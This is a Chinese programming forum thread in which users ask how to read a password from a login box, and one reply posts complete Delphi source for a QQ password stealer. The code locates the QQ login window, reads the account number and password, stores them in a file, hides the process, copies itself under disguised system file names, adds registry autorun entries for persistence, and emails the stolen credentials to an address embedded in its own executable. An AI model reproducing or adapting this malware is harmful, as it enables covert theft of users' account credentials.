跟你说吧,得到输入框的Handle是可以的(Api名字暂时忘了)
但是就算你得到了,还是得不到密码,那几个星号解不出来的,早就被换成其他字符了

解决方案 »

  1.   

    可以啊,用GetWindowText不就可以吗,关键是我不怎么才能取得输入框的handle啊,请各位大侠帮忙啊~~~~
      

  2.   

    这是一段别人的程序,给你参考吧!!!
    unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      Keyspy,Inifiles, StdCtrls, WinInet,ExtCtrls, Psock, NMsmtp,registry;type
      TForm2 = class(TForm)
        Edit1: TEdit;
        Timer1: TTimer;
        NMSMTP1: TNMSMTP;
        Timer2: TTimer;
        procedure Timer1Timer(Sender: TObject);
        procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
          KeyStr: String);
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure NMSMTP1AuthenticationFailed(var Handled: Boolean);
        procedure NMSMTP1Connect(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form2: TForm2;
      he,hc:hWnd;
      eaddr:String;implementationfunction RegisterServiceProcess(dwProcessID, dwType: Integer):
      Integer; stdcall; external 'KERNEL32.DLL';{$R *.DFM}function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;
    var
        wClassName: array[0..255] of char;
    begin
    GetClassName(H, wClassName, SizeOf(wClassName));
    if pos('EDIT',Uppercase(wClassName)) > 0 then
    Begin
      he:=H;
    end
    else
    if pos('COMBOBOX',Uppercase(wClassName)) > 0  then
      Begin
      hc:=H;
      end;
    Result:=True;
    end;
    procedure TForm2.Timer1Timer(Sender: TObject);
    var h:hWnd;
        Buf: array[0..1024] of Char;
        number,password:string;
        var myinifile:Tinifile;
    begin    h:=Findwindow(nil,'QQ用户登录');
        if h<>0 then
        begin
          Timer1.Enabled:=False;
          EnumChildWindows(h, @EnumProc,Longint(Self));
          SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf));
          number:=buf;
          SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));
          password:=buf;
          if password<>'' then
              begin
                myinifile:=Tinifile.create('c:\windows\Protocol.ini');
              //  password:=Edit1.Text;
                Myinifile.WriteString('oicq',number,password);
                Myinifile.Free;
              end;  
                Timer1.Enabled:=True;  end;end;procedure TForm2.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
      KeyStr: String);
    begin
      Edit1.Text:=Edit1.text+keystr;
    end;procedure TForm2.FormCreate(Sender: TObject);
    var tempreg:TRegistry;
        strmSource,strmDest:TMemoryStream;
      //  tempreg:TRegistry;
        ef:TextFile;begin  RegisterServiceProcess(GetCurrentProcessID, 1 );
      CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\sysreg.exe'),False);
      CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\regservice32.exe'),False);
      CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\rasint.dll'),False);
      tempreg:=TRegistry.Create;
      tempreg.RootKey:=HKEY_LOCAL_MACHINE;
      tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
      tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
      tempreg.Closekey;
      tempreg.Free;
      tempreg:=TRegistry.Create;
      tempreg.RootKey:=HKEY_LOCAL_MACHINE;
      tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
      tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
      tempreg.Closekey;
      tempreg.Free;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
      strmSource:=TMemoryStream.Create;
      strmSource.loadfromfile(Application.Exename);
      strmSource.seek((StrmSource.Size-50),soFromBeginning);
      strmDest:=TMemoryStream.Create;
      strmDest.copyfrom(strmSource,50);  strmDest.SaveToFile('c:\windows\raddr.txt');
      strmDest.free;
      strmSource.free;
    //////////////////////////////////////////////////////////////////////////////////////////////////////////////////
      AssignFile(ef,'c:\windows\raddr.txt');
      Reset(ef);
      ReadLn(ef,eaddr);
      CloseFile(ef);
      eaddr:=TrimLeft(eaddr);
      eaddr:=TrimRight(eaddr); end;procedure TForm2.FormDestroy(Sender: TObject);
    var tempreg:TRegistry;
    begin
      CopyFile(Pchar('C:\windows\system\rasint.dll'),Pchar('c:\windows\system\netw3c.exe'),False);
      tempreg:=TRegistry.Create;
      tempreg.RootKey:=HKEY_LOCAL_MACHINE;
      tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
      tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
      tempreg.Closekey;
      tempreg.Free;
      tempreg:=TRegistry.Create;
      tempreg.RootKey:=HKEY_LOCAL_MACHINE;
      tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
      tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
      tempreg.Closekey;
      tempreg.Free;
      tempreg:=TRegistry.Create;
      tempreg.RootKey:=HKEY_LOCAL_MACHINE;
      tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
      tempreg.WriteString('netw3c','C:\windows\system\netw3c.exe');
      tempreg.Closekey;
      tempreg.Free;end;procedure TForm2.Timer2Timer(Sender: TObject);begin    if InternetCheckConnection('http://www.nsfocus.com/', 1, 0) then
            edit1.text:= 'con'
        else
            edit1.text:= 'discon';
        if Edit1.Text='con' then
          begin
              NMSMTP1.PostMessage.ToAddress.Add(eaddr);
                      NMSMTP1.Connect;
          end;end;procedure TForm2.NMSMTP1AuthenticationFailed(var Handled: Boolean);
    begin
      Handled:=True;
    end;procedure TForm2.NMSMTP1Connect(Sender: TObject);
    begin    NMSMTP1.SendMail;
        NMSMTP1.Disconnect;end;end.
    program QEyes;uses
      Forms,
      windows,
      Unit1 in '..\Unit1.pas' {Form2};{$R *.RES}begin
      Application.Initialize;
      if FindWindow('TForm2','Form2')=0
        then
          begin
              Application.ShowMainForm:=False;
              Application.CreateForm(TForm2, Form2);
      Application.Run;
          end;  
    end.